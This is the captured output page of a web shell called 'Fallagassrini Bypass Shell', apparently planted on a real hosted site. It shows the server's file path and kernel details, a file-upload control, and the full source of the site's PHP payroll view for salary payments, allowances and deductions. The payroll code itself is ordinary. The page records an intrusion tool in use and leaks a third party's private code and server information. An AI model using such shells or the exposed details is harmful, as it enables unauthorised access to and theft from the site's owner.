? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/views/hr/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/views/hr/add_single_employee_salary_payment.php

 <?php
    if ( ! defined('BASEPATH')) exit('No direct script access allowed');
    $this->load->view('documentreadyfunctions'); 
    $attributes=array('id'=>'validateform','class'=>'validate');
    
    
    if ($form_type == 'popup')
        echo form_open('hr/addinhr/insert_single_salary_payment/view_success_salary_payment/1', $attributes);
    else
        echo form_open('hr/addinhr/insert_single_salary_payment/view_salary_payment/1', $attributes);
   
    $allowdeduc = $this->mastermodel->getdatas('allowdeduc','allowdeduc_id');
    $employee_salary_allowdeduc = $this->mastermodel->getdatas('employee_salary_allowdeduc','employee_salary_id');
    $curency = $this->mastermodel->getdatas('finance_currency','currency_id');
    $payment_modee_default=$this->mastermodel->get_single_field_value('employee_salary','payment_method','employee_salary_id',$emp_sal_id);    
    ?>
<!--<fieldset class="no-padding">-->
<script type="text/javascript">
    function valiadteSalaPayment(id)
    {
        var val = $('#' + id).val();
        if (val < 0)
        {
            alert('Net Payment should be greater than zero.');
            return false;
        }
        else
        {
        <?php
        if ($form_type == 'popup') {
            ?>
                        addformdata('validateform', 'empdiv');
            <?php
        } else {
            ?>
                        addformdata('validateform');
            <?php
        }
        ?>

        }
    }
</script>   
<div class="grid_12"  style="width: 95%;">
    <div class="box">
        <div class="header main">SALARY DETAILS</div>
            <div class="content  no-padding" style="min-height: 400px;">
                <input type="hidden" name="salary_date" value="<?=$salary_date?>"/>
                <input type="hidden" name="employee_sal_payment_mode" value="<?=$payment_modee_default?>"/>
                <table  class="table" >                     
                    <tr>
                        <th>Employee Name</th>
                        <th> <?=$this->mastermodel->get_single_field_value('employee','employee_name','employee_id',$viewinfo->employee_id);?></th>
                                                  
                    </tr>
                    <tr>
                        <td>
                           Basic Salary
                        </td>
                        <td>
                            <input type="text" name="basic_salary" id="basic_salary"  value="<?=$viewinfo->basic_salary;?>" class="required auto" onblur="changebasicsalary(this.value)"/>
                        </td>
                    </tr>
                </table>

        
    <br/><br/>
    <div class="header main">Allowance/Deduction Details</div>
    <table class="table">        
        <tr>
            <th align="center">Title</th>
            <th align="center">Mode</th>
            <th align="center">Amount/Percentage</th>
            <th align="center">Sub Total</th>
            <th align="center">Type</th>
        </tr>
        <?php
        $i=1;
        $tot_allowance=0;
        $tot_deduct =0;
        $dept=$this->mastermodel->get_data('allowdeduc','1','allowdeduc_type');
        $basicsalary = $viewinfo->basic_salary;
        foreach($dept as $dep)
        {            
            if($dep['allowdeduc_mode']==1)
                $mode="Direct Amount";
            else
                $mode="Percentage";
            ?>
            <tr>
                <td><div class="allow_dedc"><?=$dep['allowdeduc_name'];?><input type="hidden" value ="<?=$dep['allowdeduc_id'];?>" name="allowdeduc_id_<?=$i;?>"/></div> </td>
                <td><div class="allow_dedc"><?=$mode?></div></td>
                <?php
                $amount_allowdeduc=$this->mastermodel->get_data_dual_srow('employee_salary_allowdeduc',$dep['allowdeduc_id'],'allowdeduc_id',$viewinfo->employee_salary_id,'employee_salary_id');
                if(!empty ($amount_allowdeduc))
                    $allowdeduc_amount = $amount_allowdeduc->amount;
                else
                    $allowdeduc_amount=0;
                ?>
                <td>
                    <input style="width:75px;float:left;" value="<?=$allowdeduc_amount;?>" class="auto" type="text" name="amount_<?=$i;?>" id="amount_<?=$i;?>" onblur="calculteallowancetotal(this.value,<?=$dep['allowdeduc_mode']?>,<?=$i?>)" />
                    <?php 
                        if($dep['allowdeduc_mode']==0)
                        {
                        ?>
                            <div style="float:left;margin: 5px;padding-top: 10px">%</div>
                        <?php
                        }
                    ?>
                </td>
                <?php
                if($dep['allowdeduc_mode']==0)
                    $allototal= $allowdeduc_amount/100*$basicsalary;
                else
                    $allototal=$allowdeduc_amount;
                $tot_allowance+= $allototal;
                ?>
                <td><input type="text" name="alltotal_<?=$i?>" id="alltotal_<?=$i?>" class="auto" value="<?=$allototal;?>" readonly /></td>
                <td><div class="allow_dedc">Allowance</div></td>
            </tr>
            <?php
            $i++;
        }
        ?>
        <input type="hidden" name="allowcount" id="allowcount" value="<?=$i?>" />
        <?php
        $dept=$this->mastermodel->get_data('allowdeduc','0','allowdeduc_type');
        foreach($dept as $dep)
        {
            if($dep['allowdeduc_mode']==1)
                $mode="Direct Amount";
            else
                $mode="Percentage";
            ?>
            
                     <?php
                  
                ?>
            <?php 
            $allowdeduc_amount=0;
            $amount_allowdeduc=$this->mastermodel->get_data_dual_srow('employee_salary_allowdeduc',$dep['allowdeduc_id'],'allowdeduc_id',$viewinfo->employee_salary_id,'employee_salary_id');
            if(!empty ($amount_allowdeduc))
                $allowdeduc_amount = $amount_allowdeduc->amount;
            
            
            if($dep['allowdeduc_mode']==0)
                $allototal= $allowdeduc_amount/100*$basicsalary;
            else
                $allototal=$allowdeduc_amount;
            ?>
            <tr>
                <td><div class="allow_dedc"><?=$dep['allowdeduc_name'];?><input type="hidden" value ="<?=  $dep['allowdeduc_id'];?>" name="allowdeduc_id_<?=$i;?>"/></div></td>
                <td><div class="allow_dedc"><?=$mode?></div></td>
                <td><input type="text" class="auto" onblur="calcultedeductiontotal(this.value,<?=$dep['allowdeduc_mode']?>,<?=$i?>)" name="amount_<?=$i?>" value="<?=$allowdeduc_amount;?>" id="amount_<?=$i?>" style="width:75px;float:left;" />
                   <?php 
                        if($dep['allowdeduc_mode']==0)
                        {
                        ?>
                            <div style="float:left;margin: 5px;padding-top: 10px">%</div>
                        <?php
                        }
                            ?>
                </td>
                <?php
                if($dep['allowdeduc_mode']==0)
                    $dedtotal= $allowdeduc_amount/100*$basicsalary;
                else
                    $dedtotal=$allowdeduc_amount;
                $tot_deduct += $dedtotal;
                ?>
                <td><input type="text" name="dedtotal_<?=$i?>" class="auto" id="dedtotal_<?=$i?>" value="<?=$dedtotal;?>" readonly /></td>
                <td><div class="allow_dedc">Deduction</div></td>
            </tr>
            <?php
            $i++;
        }
        ?>
        <input type="hidden" name="dedcount" id="dedcount" value="<?=$i?>" />
    </table>
    
    <br/><br/>
    <div class="header main">Salary Details</div>
    <table class="table" cellpadding="0" cellspacing="0" >
        <tr>
            <th>Allowance</th>
            <th>Deduction</th>
            <th>Gratuity</th>
        </tr>
        <tr>
            <td><input type="text" readonly style="width:80%" class="auto" name="allowance" id="allowance" value="<?php echo $tot_allowance; ?>"></td>
            <td><input type="text" style="width:80%" readonly class="auto" name="deduction" id="deduction" value="<?php echo $tot_deduct ; ?>"></td>
             <td> <input type="text" style="width:80%" name="commission" class="auto" onblur="calculatepayamount(this.value)" id="commission" value="0"></td>
        </tr>
        <tr>
            <th>Gross Salary</th>
            <th>Net Salary</th>
            <th>Pay Amount</th>
        </tr>
        <tr>
            <td><input type="text" readonly style="width:80%" class="auto" name="grosssalary" id="grosssalary" value="<?php echo $basicsalary + $tot_allowance; ?>"></td>
            <td><input type="text" style="width:80%" readonly class="auto" name="netsalary" id="netsalary" value="<?php echo ($basicsalary + $tot_allowance) - $tot_deduct ; ?>"></td>
            <td><input type="text" readonly style="width:80%" class="auto" name="payamount" id="payamount" value="<?php echo ($basicsalary + $tot_allowance) - $tot_deduct ; ?>"></td>
        </tr>
    </table>
    
 
<input type="hidden" name="employee_salary_id" id="employee_salary_id" value="<?= $viewinfo->employee_salary_id ?>"  />
<input type="hidden" name="tab_name" value="employee_salary"/>
<input type="hidden" name="employee_id" value="<?= $viewinfo->employee_id ?>"/>
<!--<label for="submit">&nbsp;</label>
<button type="submit"  class="clickimage"  onclick="addformdata('validateform','empdiv')">Process</button>-->

</div>
    </div>
</div>
<div class="grid_12 " style="width: 95%;">
    <div class="box">
    <div class="actions"> 
        <div class="actions-left">
            <div style="display:none">
                <div id="empdiv"></div>
            </div>
        </div>           
        <div class="actions-right">
                <button type="submit"  class="clickimage"  onclick="return valiadteSalaPayment('payamount');">Process</button>
        </div>
    </div>
    </div>
</div>

<!--</fieldset>-->
<?php echo form_close();?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net